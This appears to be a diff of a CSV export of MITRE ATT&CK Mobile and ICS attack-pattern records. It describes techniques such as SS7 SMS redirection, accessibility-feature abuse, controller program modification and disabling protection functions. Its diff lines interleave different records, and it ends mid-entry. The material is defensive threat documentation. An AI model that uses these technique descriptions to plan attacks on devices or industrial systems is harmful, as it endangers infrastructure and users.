+attack-pattern,attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:07.460Z,2019-07-03T20:25:59.845Z,Manipulate App Store Rankings or Ratings,An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1452', 'external_id': 'T1452'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1055 +attack-pattern,attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:06.822Z,2018-10-17T00:14:20.652Z,Drive-by Compromise,"As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright). -A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility) +(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1456', 'external_id': 'T1456'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html', 'external_id': 'CEL-22'}, {'source_name': 'Zimperium-Stagefright', 'description': 'Zimperium. (2015, January 27). Experts Found a Unicorn in the Heart of Android. Retrieved December 23, 2016.', 'url': 'https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1059 +attack-pattern,attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:06.524Z,2021-07-28T18:43:50.490Z,Exploit SS7 to Redirect Phone Calls/SMS,An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1449', 'external_id': 'T1449'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html', 'external_id': 'CEL-37'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'source_name': 'TheRegister-SS7', 'description': 'Iain Thomson. (2017, May 3). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts. Retrieved November 8, 2018.', 'url': 'https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the Communications, Security, Reliability, and Interoperability Council (CSRIC). (Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",False,,"['Android', 'iOS']",1.2,,,,,,['Without Adversary Device Access'],MOB-T1052 +attack-pattern,attack-pattern--35392fb4-a31d-4c6a-b9f2-1c65b7f5e6b9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-14T15:25:32.143Z,2021-10-14T15:25:32.143Z,Transient Cyber Asset,"Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. -Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play) +Adversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. -Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the ""Back"" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1453', external_id='T1453'), ExternalReference(source_name='Skycure-Accessibility', description='Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', url='https://www.skycure.com/blog/accessibility-clickjacking/'), ExternalReference(source_name='android-trojan-steals-paypal-2fa', description='Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'), ExternalReference(source_name='banking-trojans-google-play', description='Lukáš Štefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.', url='https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/')]",attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-03-30 14:03:43.761000+00:00,Abuse Accessibility Features,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Lukáš Štefanko, ESET']",,,True,,,,,,,,False,,MOB-T1056,,['Android'],,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:07.827000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1469', external_id='T1469'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', external_id='ECO-5'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', external_id='EMM-7'), ExternalReference(source_name='Honan-Hacking', description='Mat Honan. (2012, August 6). How Apple and Amazon Security Flaws Led to My Epic Hacking. Retrieved December 29, 2016.', url='https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/')]",attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='remote-service-effects')]",2018-10-17 00:14:20.652000+00:00,Remotely Wipe Data Without Authorization,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.,,,,,,,MOB-T1072,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.0 -2017-10-25 14:48:07.460000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1452', external_id='T1452')]",attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2019-07-03 20:25:59.845000+00:00,Manipulate App Store Rankings or Ratings,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1055,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:06.822000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright). +Transient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems. -(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1456', external_id='T1456'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html', external_id='CEL-22'), ExternalReference(source_name='Zimperium-Stagefright', description='Zimperium. (2015, January 27). Experts Found a Unicorn in the Heart of Android. Retrieved December 23, 2016.', url='https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/')]",attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2018-10-17 00:14:20.652000+00:00,Drive-by Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1059,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:06.524000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1449', external_id='T1449'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html', external_id='CEL-37'), ExternalReference(source_name='Engel-SS7', description='Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', url='https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'), ExternalReference(source_name='Engel-SS7-2008', description='Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', url='https://www.youtube.com/watch?v=q0n5ySqbfdI'), ExternalReference(source_name='3GPP-Security', description='3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', url='http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'), ExternalReference(source_name='Positive-SS7', description='Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', url='https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'), ExternalReference(source_name='CSRIC5-WG10-FinalReport', description='Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', url='https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'), ExternalReference(source_name='TheRegister-SS7', description='Iain Thomson. (2017, May 3). After years of warnings, mobile network hackers exploit SS7 flaws to drain bank accounts. Retrieved November 8, 2018.', url='https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/')]",attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 16:28:52.821000+00:00,Exploit SS7 to Redirect Phone Calls/SMS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the Communications, Security, Reliability, and Interoperability Council (CSRIC). (Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,,,,,MOB-T1052,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2021-04-13 12:45:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0888', external_id='T0888')]",attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2021-04-13 12:45:26.506000+00:00,Remote System Information Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2021-04-13 12:36:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0834', external_id='T0834'), ExternalReference(source_name='EAttack Native API', description='The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021.', url='https://attack.mitre.org/techniques/T1106/')]",attack-pattern--b52870cc-83f3-473c-b895-72d91751030b,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2021-04-26 13:47:26.506000+00:00,Native API,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['API monitoring', 'Process monitoring', 'System calls']",,,,,,,,,,,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,, -2021-04-13 12:08:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0890', external_id='T0890'), ExternalReference(source_name='ATT&CK Exploitation for Privilege Escalation', description='The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021.', url='https://attack.mitre.org/techniques/T1068/')]",attack-pattern--cfe68e93-ce94-4c0f-a57d-3aa72cedd618,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='privilege-escalation-ics')]",2021-04-13 12:08:26.506000+00:00,Exploitation for Privilege Escalation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,, -2021-04-13 11:15:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0821', external_id='T0821')]",attack-pattern--09a61657-46e1-439e-b3ed-3e4556a78243,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2021-04-13 11:15:26.506000+00:00,Modify Controller Tasking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2021-04-13 11:15:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0889', external_id='T0889'), ExternalReference(source_name='IEC Programmable controllers February 2013', description='IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. Retrieved October 22, 2019.', url='https://webstore.iec.ch/publication/4552')]",attack-pattern--fc5fda7e-6b2c-4457-b036-759896a2efa2,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='persistence-ics')]",2021-04-13 11:15:26.506000+00:00,Modify Program,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2021-04-12 19:26:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0886', external_id='T0886'), ExternalReference(source_name='FireEye TRITON December 2017', description='Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.', url='https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html'), ExternalReference(source_name='Dragos TRISIS December 2017', description='Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018.', url='https://dragos.com/blog/trisis/TRISIS-01.pdf'), ExternalReference(source_name='Dragos IT ICS Ransomware December April 2019', description='Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', url='https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/')]",attack-pattern--e1f9cdd2-9511-4fca-90d7-f3e92cfdd0bf,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='lateral-movement-ics')]",2021-04-12 19:26:26.506000+00:00,Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows event logs', 'Authentication logs']",,,,,,,,,,,,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,, -2021-04-12 07:57:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0837', external_id='T0837')]",attack-pattern--2bb4d762-bf4a-4bc3-9318-15cc6a354163,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2021-04-12 07:57:26.506000+00:00,Loss of Protection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. +In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0864', 'external_id': 'T0864'}, {'source_name': 'NERC June 2021', 'description': ' North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021.', 'url': 'https://www.nerc.com/files/glossary_of_terms.pdf'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'NIST Apr 2013', 'description': 'National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.', 'url': 'https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf'}, {'source_name': 'NAFT Dec 2019', 'description': 'North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.', 'url': 'https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf'}, {'source_name': 'Emerson Exchange', 'description': 'Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.', 'url': 'https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot'}, {'source_name': 'National Security Agency Feb 2016', 'description': 'National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.', 'url': 'https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Flows', 'Network Traffic: Network Connections', 'Assets: Asset Inventory']",,,,,['Engineering Workstation'],,,,,,,, +attack-pattern,attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:45:26.506Z,2021-10-08T15:25:32.143Z,Remote System Information Discovery,"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system’s operational role and model information can dictate whether it is a relevant target for the adversary’s operational objectives. In addition, the system’s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system’s API.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0888', 'external_id': 'T0888'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--b52870cc-83f3-473c-b895-72d91751030b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:36:26.506Z,2021-10-08T15:25:32.143Z,Native API,"Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0834', 'external_id': 'T0834'}, {'source_name': 'EAttack Native API', 'description': 'The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021.', 'url': 'https://attack.mitre.org/techniques/T1106/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--cfe68e93-ce94-4c0f-a57d-3aa72cedd618,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T12:08:26.506Z,2021-10-08T15:25:32.143Z,Exploitation for Privilege Escalation,"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system 